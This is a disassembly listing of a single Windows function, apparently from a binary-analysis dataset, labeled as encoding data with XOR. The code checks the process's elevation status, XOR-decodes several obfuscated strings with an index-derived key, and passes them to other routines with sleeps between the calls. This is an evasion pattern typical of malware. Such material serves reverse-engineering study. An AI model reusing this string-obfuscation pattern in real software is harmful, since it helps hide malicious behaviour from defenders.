Function at 0x402bd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4b8
mov eax, dword [0x418040]
xor eax, esp
mov dword [esp + 0x4b4], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [esp + 0x2b8], ax
lea eax, [esp + 0x2ba]
push eax
call fcn.00404b70
add esp, 0xc
mov dword [esp + 0x8c], 0
lea eax, [esp + 0x2b0]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x8c]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402d7e
lea eax, [esp + 0x94]
push eax
push 4
lea eax, [esp + 0x98]
push eax
push 0x14
push dword [esp + 0x9c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x402d7e
cmp dword [esp + 0x90], 0
jne 0x402d7e
call fcn.004013a0
test eax, eax
je 0x403318
push 0x20a
lea eax, [esp + 0xa4]
mov dword [esp + 0x9c], 0x200026
push 0
push eax
mov dword [esp + 0xa8], 0x27
call fcn.00404b70
add esp, 0xc
lea eax, [esp + 0x2b0]
push eax
lea eax, [esp + 0x9c]
push 0x109
push eax
call fcn.004068f3
add esp, 0xc
lea eax, [esp + 0x98]
push 0x415ff4
push 0x109
push eax
call fcn.004068f3
mov eax, dword [0x416318]
add esp, 0xc
movups xmm0, xmmword [0x416308]
mov dword [esp + 0x20], eax
xor esi, esi
mov ax, word [0x41631c]
movups xmmword [esp + 0x10], xmm0
mov word [esp + 0x24], ax
mov eax, 0x2f684bdb
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x36
sub ecx, eax
add ecx, 0x39
xor word [esp + esi*2 + 0x10], cx
inc esi
cmp esi, 0xb
jl 0x402d15
push ecx
lea edx, [esp + 0x9c]
lea ecx, [esp + 0x14]
call fcn.00401ee0
mov eax, dword [esp + 0x90]
add esp, 4
test eax, eax
je 0x403318
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x4b4]
xor ecx, esp
call fcn.00403695
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x402d9b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x8c], 0
lea ecx, [esp + 0x2b0]
call fcn.004020c0
call fcn.004013a0
test eax, eax
je 0x403318
mov ecx, 0x28
lea edi, [esp + 0x98]
mov esi, 0x416238
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor esi, esi
cmp dword [0x418d24], 2
jl 0x402ee3
movaps xmm4, xmmword [0x416350]
movaps xmm3, xmmword [0x4163b0]
movaps xmm5, xmmword [0x416370]
movaps xmm6, xmmword [0x416380]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x98]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x98], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xa0]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0xa0], xmm1
add esi, 8
cmp esi, 0x50
jl 0x402df4
jmp 0x402f07
mov eax, 0x4bda12f7
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x36
sub ecx, eax
add ecx, 0x39
xor word [esp + esi*2 + 0x98], cx
inc esi
cmp esi, 0x51
jl 0x402ee3
mov eax, dword [0x416318]
xor esi, esi
movups xmm0, xmmword [0x416308]
mov dword [esp + 0x20], eax
mov ax, word [0x41631c]
mov word [esp + 0x24], ax
movups xmmword [esp + 0x10], xmm0
nop
mov eax, 0x2f684bdb
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x36
sub ecx, eax
add ecx, 0x39
xor word [esp + esi*2 + 0x10], cx
inc esi
cmp esi, 0xb
jl 0x402f30
push ecx
lea edx, [esp + 0x9c]
lea ecx, [esp + 0x14]
call fcn.00401ee0
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x47
lea edi, [esp + 0x98]
mov esi, 0x416060
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, dword [0x418d24]
xor esi, esi
cmp edi, 2
jl 0x4030b2
movaps xmm4, xmmword [0x416350]
movaps xmm3, xmmword [0x4163b0]
movaps xmm5, xmmword [0x416370]
movaps xmm6, xmmword [0x416380]
nop dword [eax + eax]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x98]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x98], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xa0]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0xa0], xmm1
add esi, 8
cmp esi, 0x88
jl 0x402fc0
jmp 0x4030d6
mov eax, 0x4bda12f7
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x36
sub ecx, eax
add ecx, 0x39
xor word [esp + esi*2 + 0x98], cx
inc esi
cmp esi, 0x8f
jl 0x4030b2
mov eax, dword [0x416318]
xor esi, esi
movups xmm0, xmmword [0x416308]
mov dword [esp + 0x20], eax
mov ax, word [0x41631c]
mov word [esp + 0x24], ax
movups xmmword [esp + 0x10], xmm0
mov eax, 0x2f684bdb
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x36
sub ecx, eax
add ecx, 0x39
xor word [esp + esi*2 + 0x10], cx
inc esi
cmp esi, 0xb
jl 0x403100
push ecx
lea edx, [esp + 0x9c]
lea ecx, [esp + 0x14]
call fcn.00401ee0
add esp, 4
push 0x2ee0
call dword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x4161d8]
mov ax, word [0x416218]
xor esi, esi
mov word [esp + 0x70], ax
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x4161e8]
movups xmmword [esp + 0x40], xmm0
movups xmm0, xmmword [0x4161f8]
movups xmmword [esp + 0x50], xmm0
movups xmm0, xmmword [0x416208]
movups xmmword [esp + 0x60], xmm0
cmp edi, 2
jl 0x403293
movaps xmm4, xmmword [0x416350]
movaps xmm3, xmmword [0x4163b0]
movaps xmm5, xmmword [0x416370]
movaps xmm6, xmmword [0x416380]
nop dword [eax + eax]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x30]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x30], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x38]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0x38], xmm1
add esi, 8
cmp esi, 0x20
jl 0x4031b0
jmp 0x4032b4
mov eax, 0x4bda12f7
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x36
sub ecx, eax
add ecx, 0x39
xor word [esp + esi*2 + 0x30], cx
inc esi
cmp esi, 0x21
jl 0x403293
mov eax, dword [0x416318]
xor esi, esi
movups xmm0, xmmword [0x416308]
mov dword [esp + 0x20], eax
mov ax, word [0x41631c]
mov word [esp + 0x24], ax
movups xmmword [esp + 0x10], xmm0
nop dword [eax + eax]
mov eax, 0x2f684bdb
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x36
sub ecx, eax
add ecx, 0x39
xor word [esp + esi*2 + 0x10], cx
inc esi
cmp esi, 0xb
jl 0x4032e0
push ecx
lea edx, [esp + 0x34]
lea ecx, [esp + 0x14]
call fcn.00401ee0
add esp, 4
mov ecx, dword [esp + 0x4bc]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00403695
mov esp, ebp
pop ebp
ret 0x10